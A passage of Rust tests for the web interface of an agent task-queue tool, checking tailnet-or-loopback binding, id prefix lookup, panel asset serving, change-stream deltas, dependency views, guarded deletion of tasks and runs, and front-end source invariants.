20149    fn an_explicit_bind_address_is_taken_verbatim() {
20150        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20151
20152        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20153
20154        assert_eq!(addr, asked);
20155        assert!(
20156            warning.is_none(),
20157            "an operator who named an address gets no lecture"
20158        );
20159    }
20160
20161    #[test]
20162    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20163        let (addr, warning) = resolve_bind(&Bind::Auto);
20164
20165        // This has to hold on a CI runner with no `tailscale` and on a dev box
20166        // with one, so the invariant asserted is the one shared by both
20167        // outcomes: the address is either a real tailnet address offered
20168        // without comment, or loopback with an explanation. What must never
20169        // happen is a silent fallback - an operator told "listening on
20170        // 127.0.0.1" with no reason would go looking for a firewall.
20171        match addr {
20172            IpAddr::V4(ip) if is_tailnet(&ip) => {
20173                assert!(warning.is_none(), "a tailnet address needs no warning");
20174            }
20175            other => {
20176                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20177                let warning = warning.expect("a fallback has to explain itself");
20178                assert!(
20179                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20180                    "the warning says what happened and what it costs: {warning}"
20181                );
20182            }
20183        }
20184    }
20185
20186    #[test]
20187    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20188        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20189        // boundary cases are what stop us binding to some other tool's idea of
20190        // an address.
20191        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20192        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20193        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20194        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20195        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20196    }
20197
20198    #[test]
20199    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20200        let ids = vec![
20201            "20260902-140501-aaaa".to_owned(),
20202            "20260902-140502-aabb".to_owned(),
20203        ];
20204
20205        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20206        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20207        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20208
20209        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20210        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20211        assert_eq!(short, "20260902-140502-aabb");
20212    }
20213    #[tokio::test]
20214    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20215        // The prompt tells agents to reference attachments by bare filename.
20216        // A document served at `.../panel` resolves `shot.png` against its own
20217        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20218        // panel written exactly as instructed showed broken images. Caught by
20219        // looking at a real one in a browser, not by reading the code.
20220        let fx = Fixture::start().await;
20221        let id = panel(
20222            &fx,
20223            "<img src=\"shot.png\">",
20224            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20225        );
20226
20227        // The frame's own URL ends in a filename, so its siblings are reachable.
20228        let doc = fx
20229            .get(&format!("/api/questions/{id}/panel/index.html"))
20230            .await;
20231        assert_eq!(doc.status, 200, "{}", doc.body);
20232        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20233
20234        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20235        assert_eq!(sibling.status, 200, "{}", sibling.body);
20236        assert_eq!(sibling.header("content-type"), Some("image/png"));
20237        assert_eq!(
20238            sibling.header("content-security-policy"),
20239            Some(PANEL_CSP),
20240            "the sibling route must carry the same policy as the asset route"
20241        );
20242
20243        // The original spelling keeps working: HEAD on it is how the front end
20244        // decides whether to mount a frame at all.
20245        assert_eq!(
20246            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20247            200
20248        );
20249    }
20250
20251    #[test]
20252    fn delta_stamps_cover_add_update_remove_and_noop() {
20253        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20254        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20255        let delta = diff_stamps(&before, &after, 42);
20256        assert_eq!(delta.base, 42);
20257        assert_eq!(delta.changed, ["b", "c"]);
20258        assert_eq!(delta.removed, ["a"]);
20259        let same = diff_stamps(&after, &after, 43);
20260        assert!(same.changed.is_empty() && same.removed.is_empty());
20261        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20262        let nanos: Stamps = [("b".into(), (2, 20))].into();
20263        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20264        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20265        assert_eq!(stamps_revision(&Stamps::new()), 0);
20266    }
20267
20268    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20269        std::fs::create_dir_all(home.join("runs")).unwrap();
20270        Arc::new(Ui::new(
20271            Queue::at(home.join("queue")),
20272            Questions::at(home.join("questions")),
20273            Talks::at(home.join("talks")),
20274            home.join("runs"),
20275            home.to_owned(),
20276            PathBuf::from("/repo/magi"),
20277        ))
20278    }
20279
20280    #[test]
20281    fn monitor_scan_isolates_store_failures_and_recovers() {
20282        let home = TempDir::new().unwrap();
20283        let ui = delta_test_ui(home.path());
20284        std::fs::create_dir_all(ui.questions.root()).unwrap();
20285        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20286        let before = monitor_scan(&ui, None);
20287        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20288        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20289        std::fs::create_dir_all(ui.talks.root()).unwrap();
20290        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20291        let during = monitor_scan(&ui, Some(before.clone()));
20292        assert_eq!(during.0.2, before.0.2);
20293        assert_ne!(during.0.3, before.0.3);
20294        assert!(during.1[2].contains_key("new"));
20295        std::fs::remove_file(ui.questions.root()).unwrap();
20296        let after = monitor_scan(&ui, Some(during));
20297        assert_eq!(after.0.2, 0);
20298        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20299        // A failed first scan also permits healthy stores to publish.
20300        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20301        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20302    }
20303
20304    #[tokio::test]
20305    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20306        let home = TempDir::new().unwrap();
20307        let ui = delta_test_ui(home.path());
20308        let mut task = Task::new(
20309            "stream task".into(),
20310            "text".into(),
20311            PathBuf::from("/repo"),
20312            Source::Human,
20313        );
20314        ui.queue.put(&mut task).unwrap();
20315        let response = events(State(ui.clone())).await.into_response();
20316        let mut stream = response.into_body().into_data_stream();
20317        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20318            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20319                .await
20320                .unwrap()
20321                .unwrap()
20322                .unwrap();
20323            let text = String::from_utf8(chunk.to_vec()).unwrap();
20324            let data = text
20325                .lines()
20326                .find_map(|line| {
20327                    line.strip_prefix("data: ")
20328                        .or_else(|| line.strip_prefix("data:"))
20329                })
20330                .unwrap();
20331            serde_json::from_str(data).unwrap()
20332        }
20333        let initial = change(&mut stream).await;
20334        assert!(initial.get("queue_delta").is_none());
20335        task.instruction.push_str(" changed");
20336        ui.queue.put(&mut task).unwrap();
20337        let updated = change(&mut stream).await;
20338        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20339        assert_eq!(
20340            updated["queue_delta"]["changed"],
20341            serde_json::json!([task.id])
20342        );
20343        assert_eq!(
20344            updated["queue_rev"].as_u64(),
20345            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20346        );
20347        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20348        let removed = change(&mut stream).await;
20349        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20350        assert_eq!(
20351            removed["queue_delta"]["removed"],
20352            serde_json::json!([task.id])
20353        );
20354    }
20355
20356    #[tokio::test]
20357    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20358        let home = TempDir::new().unwrap();
20359        let ui = delta_test_ui(home.path());
20360        let queue = ui.queue.clone();
20361        let query = |ids: Option<&str>| {
20362            Query(ListQuery {
20363                limit: Some(2),
20364                ids: ids.map(str::to_owned),
20365            })
20366        };
20367        let mut root = Task::new(
20368            "root".into(),
20369            "instruction".into(),
20370            PathBuf::from("/repo"),
20371            Source::Human,
20372        );
20373        queue.put(&mut root).unwrap();
20374        let mut blocked = Task::new(
20375            "blocked".into(),
20376            "instruction".into(),
20377            PathBuf::from("/repo"),
20378            Source::Human,
20379        );
20380        blocked.block(vec![root.id.clone()], None);
20381        queue.put(&mut blocked).unwrap();
20382        let whole =
20383            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20384                .unwrap();
20385        let subset = serde_json::to_value(
20386            queue_list(State(ui.clone()), query(Some(&root.id)))
20387                .await
20388                .unwrap()
20389                .0,
20390        )
20391        .unwrap();
20392        assert_eq!(whole, subset, "requested root plus its blocked dependent");
20393        let blockers = serde_json::to_value(
20394            queue_list(State(ui.clone()), query(Some("")))
20395                .await
20396                .unwrap()
20397                .0,
20398        )
20399        .unwrap();
20400        assert_eq!(blockers.as_array().unwrap().len(), 1);
20401        assert_eq!(blockers[0]["id"], blocked.id);
20402        assert_eq!(
20403            blockers[0]["waits_on"],
20404            whole
20405                .as_array()
20406                .unwrap()
20407                .iter()
20408                .find(|row| row["id"] == blocked.id)
20409                .unwrap()["waits_on"]
20410        );
20411
20412        for id in [
20413            "20260902-140501-aaaa",
20414            "20260902-140502-bbbb",
20415            "20260902-140503-cccc",
20416        ] {
20417            write_run(&ui.runs, id, RunStatus::Merged);
20418        }
20419        let old = serde_json::to_value(
20420            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20421                .await
20422                .unwrap()
20423                .0,
20424        )
20425        .unwrap();
20426        assert!(
20427            old.as_array().unwrap().is_empty(),
20428            "older updates must not enter the window"
20429        );
20430        let newest = serde_json::to_value(
20431            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20432                .await
20433                .unwrap()
20434                .0,
20435        )
20436        .unwrap();
20437        assert_eq!(newest.as_array().unwrap().len(), 1);
20438        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20439
20440        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20441        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20442        let talks = serde_json::to_value(
20443            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20444                .await
20445                .unwrap()
20446                .0,
20447        )
20448        .unwrap();
20449        assert_eq!(talks.as_array().unwrap().len(), 1);
20450        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20451        assert_eq!(
20452            serde_json::to_value(
20453                talks_list(State(ui.clone()), query(Some("")))
20454                    .await
20455                    .unwrap()
20456                    .0
20457            )
20458            .unwrap(),
20459            serde_json::json!([])
20460        );
20461    }
20462
20463    #[tokio::test]
20464    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20465    async fn delta_payload_benchmark() {
20466        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20467        let ui = delta_test_ui(&home);
20468        let query = |ids: Option<String>| {
20469            Query(ListQuery {
20470                limit: Some(50),
20471                ids,
20472            })
20473        };
20474        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20475        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20476        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20477        let queue_id = queue
20478            .iter()
20479            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20480            .unwrap_or(&queue[0])
20481            .task
20482            .id
20483            .clone();
20484        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20485            .await
20486            .unwrap()
20487            .0;
20488        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20489            .await
20490            .unwrap()
20491            .0;
20492        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20493            .await
20494            .unwrap()
20495            .0;
20496        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20497        eprintln!(
20498            "DELTA_PAYLOAD {}",
20499            serde_json::json!({
20500                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20501                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20502                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20503                "counts": [queue.len(), runs.len(), talks.len()],
20504                "blocked": queue_delta.len() - 1,
20505            })
20506        );
20507    }
20508
20509    #[test]
20510    fn runs_revision_moves_when_deleting_an_older_run() {
20511        let temp = TempDir::new().expect("tempdir");
20512        let runs = temp.path().join("runs");
20513        std::fs::create_dir_all(&runs).expect("create runs dir");
20514
20515        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20516
20517        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20518        std::thread::sleep(Duration::from_millis(10));
20519        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20520
20521        let rev_before = runs_revision(&runs);
20522        assert!(rev_before > 0);
20523
20524        let old_dir = runs.join("20260901-100000-old1");
20525        std::fs::remove_dir_all(&old_dir).expect("remove old run");
20526
20527        let rev_after = runs_revision(&runs);
20528        assert_ne!(
20529            rev_before, rev_after,
20530            "deleting an older run must change the revision so other clients see the deletion"
20531        );
20532    }
20533
20534    /// A run's own `run.json` on an explicit `runs` root, bypassing the
20535    /// process-global home entirely — `RunState::save` writes through
20536    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
20537    /// (see `tests::home_lock` in the integration suite for why).
20538    fn write_state(runs: &FsPath, state: &RunState) {
20539        let dir = runs.join(&state.id);
20540        std::fs::create_dir_all(&dir).expect("run dir");
20541        std::fs::write(
20542            dir.join("run.json"),
20543            serde_json::to_string_pretty(state).expect("serialize run"),
20544        )
20545        .expect("write run.json");
20546    }
20547
20548    /// A seat starting or finishing is a write to `run.json` like any other,
20549    /// so it moves the same revision the change stream already watches —
20550    /// nothing new for `/api/events` to learn, but the property this feature
20551    /// depends on to reach the phone without a poll.
20552    #[test]
20553    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20554        let temp = TempDir::new().expect("tempdir");
20555        let runs = temp.path().join("runs");
20556        std::fs::create_dir_all(&runs).expect("create runs dir");
20557        let mut state = RunState::new(
20558            PathBuf::from("/repo/magi"),
20559            "main".to_owned(),
20560            "0123456789abcdef".to_owned(),
20561            "task".to_owned(),
20562            Config::default(),
20563        );
20564        state.id = "20260902-100000-c0de".to_owned();
20565        write_state(&runs, &state);
20566
20567        let rev_idle = runs_revision(&runs);
20568        std::thread::sleep(Duration::from_millis(10));
20569        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20570        write_state(&runs, &state);
20571        let rev_started = runs_revision(&runs);
20572        assert_ne!(
20573            rev_idle, rev_started,
20574            "a seat starting must move the revision"
20575        );
20576
20577        std::thread::sleep(Duration::from_millis(10));
20578        state.seat_finished("judge-1");
20579        write_state(&runs, &state);
20580        let rev_finished = runs_revision(&runs);
20581        assert_ne!(
20582            rev_started, rev_finished,
20583            "and clearing it again must move the revision a second time"
20584        );
20585    }
20586
20587    #[tokio::test]
20588    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20589        // `TaskView` flattens `Task`, so this is really asserting that
20590        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
20591        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
20592        // never touched web.rs, so nothing here caught it if it had.
20593        let fx = Fixture::start().await;
20594        let q = fx.queue();
20595
20596        let mut t = Task::new(
20597            "Task".to_owned(),
20598            "Instruction".to_owned(),
20599            PathBuf::from("/repo"),
20600            Source::Human,
20601        );
20602        t.block(
20603            vec!["20260101-000000-dead".to_owned()],
20604            Some("waiting on Task 1".to_owned()),
20605        );
20606        t.answers.push(crate::queue::AnsweredQuestion {
20607            question: "Which backend?".to_owned(),
20608            answer: "SQLite".to_owned(),
20609        });
20610        q.put(&mut t).expect("put t");
20611
20612        let res = fx.get("/api/queue").await;
20613        assert_eq!(res.status, 200);
20614        let list = res.json();
20615        let view = list
20616            .as_array()
20617            .expect("array")
20618            .iter()
20619            .find(|v| v["id"] == t.id)
20620            .expect("task in list");
20621        assert_eq!(view["status_str"], "blocked");
20622        assert_eq!(
20623            view["blocked_by"],
20624            serde_json::json!(["20260101-000000-dead"])
20625        );
20626        assert_eq!(view["block_reason"], "waiting on Task 1");
20627        assert_eq!(view["answers"][0]["question"], "Which backend?");
20628        assert_eq!(view["answers"][0]["answer"], "SQLite");
20629
20630        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
20631        // but never `answers` - that is a settled decision, not state
20632        // describing the current block, so it survives.
20633        let res = fx
20634            .post(&format!("/api/queue/{}/hold", t.short()), None)
20635            .await;
20636        assert_eq!(res.status, 200);
20637        let held = res.json();
20638        assert_eq!(held["status_str"], "held");
20639        assert_eq!(held["blocked_by"], serde_json::json!([]));
20640        assert!(held["block_reason"].is_null());
20641        assert_eq!(held["answers"][0]["answer"], "SQLite");
20642    }
20643
20644    #[tokio::test]
20645    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20646        let fx = Fixture::start().await;
20647        let q = fx.queue();
20648        let mk = |title: &str| {
20649            Task::new(
20650                title.to_owned(),
20651                "Instruction".to_owned(),
20652                PathBuf::from("/repo"),
20653                Source::Human,
20654            )
20655        };
20656        let mut root = mk("root");
20657        root.hold_manual(Some("waiting".to_owned()));
20658        q.put(&mut root).unwrap();
20659        let mut mid = mk("mid");
20660        mid.block(vec![root.id.clone()], None);
20661        q.put(&mut mid).unwrap();
20662        let mut leaf = mk("leaf");
20663        leaf.block(vec![mid.id.clone()], None);
20664        q.put(&mut leaf).unwrap();
20665
20666        let list = fx.get("/api/queue").await.json();
20667        let find = |id: &str| {
20668            list.as_array()
20669                .unwrap()
20670                .iter()
20671                .find(|v| v["id"] == id)
20672                .unwrap()
20673                .clone()
20674        };
20675        let leaf_view = find(&leaf.id);
20676        assert_eq!(
20677            leaf_view["waits_on"],
20678            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20679        );
20680        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20681        assert_eq!(
20682            find(&mid.id)["waits_on"],
20683            serde_json::json!([format!("{} (held)", root.short())])
20684        );
20685        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20686    }
20687
20688    #[tokio::test]
20689    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20690        let fx = Fixture::start().await;
20691        let q = fx.queue();
20692
20693        // 1. A queued task with runs attached can be deleted.
20694        let mut t1 = Task::new(
20695            "Task 1".to_owned(),
20696            "Instruction 1".to_owned(),
20697            PathBuf::from("/repo"),
20698            Source::Human,
20699        );
20700        let run_id = "20260901-000000-r111";
20701        t1.runs.push(run_id.to_owned());
20702        write_run(&fx.runs(), run_id, RunStatus::Merged);
20703        q.put(&mut t1).expect("put t1");
20704
20705        // Delete by short id
20706        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20707        assert_eq!(res.status, 204);
20708        assert!(res.body.is_empty(), "204 No Content has no body");
20709        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20710        assert!(
20711            fx.runs().join(run_id).exists(),
20712            "run directory must not be deleted when its task is deleted"
20713        );
20714
20715        // 2. A task a live daemon is running is refused with 409.
20716        let mut t2 = Task::new(
20717            "Task 2".to_owned(),
20718            "Instruction 2".to_owned(),
20719            PathBuf::from("/repo"),
20720            Source::Human,
20721        );
20722        t2.status = TaskStatus::Running;
20723        q.put(&mut t2).expect("put t2");
20724        let mut beat = crate::daemon::Status::new();
20725        beat.current = vec![crate::daemon::Current {
20726            task: t2.id.clone(),
20727            run: "20260901-000000-r222".to_owned(),
20728        }];
20729        beat.updated_at = jiff::Timestamp::now();
20730        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20731            .expect("publish a heartbeat");
20732        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20733        assert_eq!(res.status, 409);
20734        assert!(
20735            res.json()["error"]
20736                .as_str()
20737                .unwrap()
20738                .contains("live daemon")
20739        );
20740        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20741
20742        // 3. The same `running` status and an orphaned lock, with no daemon
20743        // behind either, is a leftover and deletable. Before this the phone
20744        // refused it for good: the status never changes on its own and
20745        // nothing drops a lock whose process is gone.
20746        // The daemon is killed: the file stays, the heartbeat stops.
20747        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20748        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20749            .expect("leave a stale heartbeat");
20750        let mut t3 = Task::new(
20751            "Task 3".to_owned(),
20752            "Instruction 3".to_owned(),
20753            PathBuf::from("/repo"),
20754            Source::Human,
20755        );
20756        t3.status = TaskStatus::Running;
20757        q.put(&mut t3).expect("put t3");
20758        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20759        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20760        assert_eq!(res.status, 204);
20761        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20762        assert!(
20763            q.claim(&t3.id).is_ok(),
20764            "the stale lock went with it, so the id is claimable again"
20765        );
20766
20767        // 4. Missing id returns 404
20768        let res = fx.delete("/api/queue/nonexistent").await;
20769        assert_eq!(res.status, 404);
20770    }
20771
20772    #[tokio::test]
20773    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20774        let fx = Fixture::start().await;
20775        let runs = fx.runs();
20776
20777        // 1. Finished and folded run can be deleted along with artifacts
20778        let run_id = "20260901-000000-fold";
20779        let mut state = RunState::new(
20780            PathBuf::from("/repo"),
20781            "main".to_owned(),
20782            "abc".to_owned(),
20783            "instruction".to_owned(),
20784            Config::default(),
20785        );
20786        state.id = run_id.to_owned();
20787        state.status = RunStatus::Merged;
20788        state.candidates.push(crate::run::Candidate {
20789            index: 0,
20790            label: 'A',
20791            agent: "a".to_owned(),
20792            branch: "b".to_owned(),
20793            worktree: PathBuf::from("/w"),
20794            summary: String::new(),
20795            stat: String::new(),
20796            files: 1,
20797            commits: 1,
20798            empty: false,
20799            failed: None,
20800            verified_noop: None,
20801            duration_ms: 0,
20802            folded: true,
20803        });
20804        let dir = runs.join(run_id);
20805        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20806        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20807            .expect("write artifact");
20808        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20809            .expect("write run.json");
20810
20811        // Delete by short id
20812        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
20813        assert_eq!(res.status, 204);
20814        assert!(res.body.is_empty(), "204 has no body");
20815        assert!(!dir.exists(), "run directory and artifacts must be deleted");
20816
20817        // 2. A run a live daemon is working on is refused with 409. The
20818        // heartbeat is what makes it refusable: an unfinished run with no
20819        // daemon behind it is a leftover from a killed process, and case 1
20820        // above would otherwise be impossible to tell apart from this one.
20821        let run_running = "20260901-000000-rung";
20822        write_run(&runs, run_running, RunStatus::Prep);
20823        let mut beat = crate::daemon::Status::new();
20824        beat.current = vec![crate::daemon::Current {
20825            task: "20260901-000000-task".to_owned(),
20826            run: run_running.to_owned(),
20827        }];
20828        beat.updated_at = jiff::Timestamp::now();
20829        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20830            .expect("publish a heartbeat");
20831        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
20832        assert_eq!(res.status, 409);
20833        assert!(
20834            res.json()["error"]
20835                .as_str()
20836                .unwrap()
20837                .contains("live daemon"),
20838            "the refusal must say who is holding it"
20839        );
20840        assert!(
20841            runs.join(run_running).exists(),
20842            "a run in flight keeps its directory"
20843        );
20844
20845        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
20846        let run_unfolded = "20260901-000000-unfd";
20847        let mut state2 = RunState::new(
20848            PathBuf::from("/repo"),
20849            "main".to_owned(),
20850            "abc".to_owned(),
20851            "instruction".to_owned(),
20852            Config::default(),
20853        );
20854        state2.id = run_unfolded.to_owned();
20855        state2.status = RunStatus::Ready;
20856        state2.candidates.push(crate::run::Candidate {
20857            index: 0,
20858            label: 'A',
20859            agent: "a".to_owned(),
20860            branch: "b".to_owned(),
20861            worktree: PathBuf::from("/w"),
20862            summary: String::new(),
20863            stat: String::new(),
20864            files: 1,
20865            commits: 1,
20866            empty: false,
20867            failed: None,
20868            verified_noop: None,
20869            duration_ms: 0,
20870            folded: false,
20871        });
20872        let dir2 = runs.join(run_unfolded);
20873        std::fs::create_dir_all(&dir2).expect("create dir2");
20874        std::fs::write(
20875            dir2.join("run.json"),
20876            serde_json::to_string(&state2).unwrap(),
20877        )
20878        .expect("write run.json");
20879
20880        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20881        assert_eq!(res.status, 409);
20882        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20883        assert!(dir2.exists(), "unfolded run directory is kept");
20884
20885        // 4. Missing id returns 404
20886        let res = fx.delete("/api/runs/nonexistent").await;
20887        assert_eq!(res.status, 404);
20888    }
20889
20890    /// The queue tiles on the Stats tab must render even on a home with no
20891    /// runs at all: queue state is not derived from run history, so hiding
20892    /// the whole dashboard body behind "no runs yet" would drop the one
20893    /// thing this tab promises unconditionally (queued/running/held/done).
20894    /// A DOM-level test would need a browser this suite does not have, so
20895    /// this pins the same invariant textually: `renderStatsQueue` is called
20896    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
20897    /// block that gates the run-derived panels.
20898    #[test]
20899    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20900        let start = APP_JS
20901            .find("function renderStats() {")
20902            .expect("renderStats");
20903        let end = start
20904            + APP_JS[start..]
20905                .find("function statsTile(")
20906                .expect("the next top-level function");
20907        let body = &APP_JS[start..end];
20908
20909        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20910        let gate_end = gate_start
20911            + body[gate_start..]
20912                .find("}\n  renderStatsQueue")
20913                .expect("the gate's own closing brace, right before the unconditional call");
20914        let gated = &body[gate_start..gate_end];
20915
20916        assert_eq!(
20917            body.matches("renderStatsQueue(").count(),
20918            1,
20919            "renderStats must call renderStatsQueue exactly once: {body}"
20920        );
20921        assert!(
20922            !gated.contains("renderStatsQueue"),
20923            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20924             run-derived panels on an empty run history - the queue panel has to render \
20925             regardless: {gated}"
20926        );
20927    }
20928
20929    #[test]
20930    fn web_ui_delete_contract_in_front_end() {
20931        // 1. API block has both delete endpoints
20932        assert!(APP_JS.contains("deleteRun:"));
20933        assert!(APP_JS.contains("deleteTask:"));
20934
20935        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
20936        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20937            ..APP_JS.find("function renderRuns").unwrap()];
20938        assert!(!run_cards_slice.to_lowercase().contains("delete"));
20939
20940        // 3. Run detail has delete entry and reasons
20941        assert!(APP_JS.contains("renderRunDelete"));
20942        assert!(APP_JS.contains("runDeleteReason"));
20943        assert!(APP_JS.contains("magi fold"));
20944        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20945
20946        // 4. Two-step delete arming and focus on Cancel
20947        assert!(APP_JS.contains("cancel.focus"));
20948        assert!(APP_JS.contains("armedRunDelete"));
20949        assert!(APP_JS.contains("renderTaskDeleteBox"));
20950        assert!(APP_JS.contains("armed${cap(key)}"));
20951
20952        // 5. Running task has disabled delete
20953        assert!(APP_JS.contains("disabled: status === \"running\""));
20954    }
20955
20956    /// Every element a run card's updater reaches for must be in the `refs`
20957    /// the builder handed it.
20958    ///
20959    /// `createRunCard` builds its elements, appends them to the card, and then
20960    /// lists them again in `row.refs`. That second list is the one the updater
20961    /// uses, and nothing connects the two - an element can be built, appended
20962    /// and rendered, and still be missing from `refs`. `superseded` was, for
20963    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
20964    /// exception took `syncList` with it, and the deck showed
20965    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
20966    /// line is computed before the cards, which is why the failure looked like
20967    /// a server that had lost its runs rather than a front end that had
20968    /// stopped rendering them.
20969    ///
20970    /// A `cargo test` cannot execute the front end, so this reads the two
20971    /// halves out of the source and compares them as sets. It is not a check
20972    /// on the wording of either list: adding an element, renaming one, or
20973    /// reordering them all keeps this passing, and only using one the builder
20974    /// never published fails it.
20975    #[test]
20976    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20977        let build = APP_JS
20978            .find("function createRunCard")
20979            .expect("createRunCard exists");
20980        let update = APP_JS
20981            .find("function updateRunCard")
20982            .expect("updateRunCard exists");
20983        let end = APP_JS
20984            .find("function renderRuns")
20985            .expect("renderRuns exists");
20986
20987        // The builder's published set: the object literal assigned to `refs`.
20988        let builder = &APP_JS[build..update];
20989        let open = builder.find("refs = {").expect("createRunCard sets refs");
20990        let literal = &builder[open + "refs = {".len()..];
20991        let close = literal.find('}').expect("the refs literal is closed");
20992        let published: HashSet<&str> = literal[..close]
20993            .split(',')
20994            // `name` and `name: value` both bind `name`.
20995            .filter_map(|entry| entry.split(':').next())
20996            .map(str::trim)
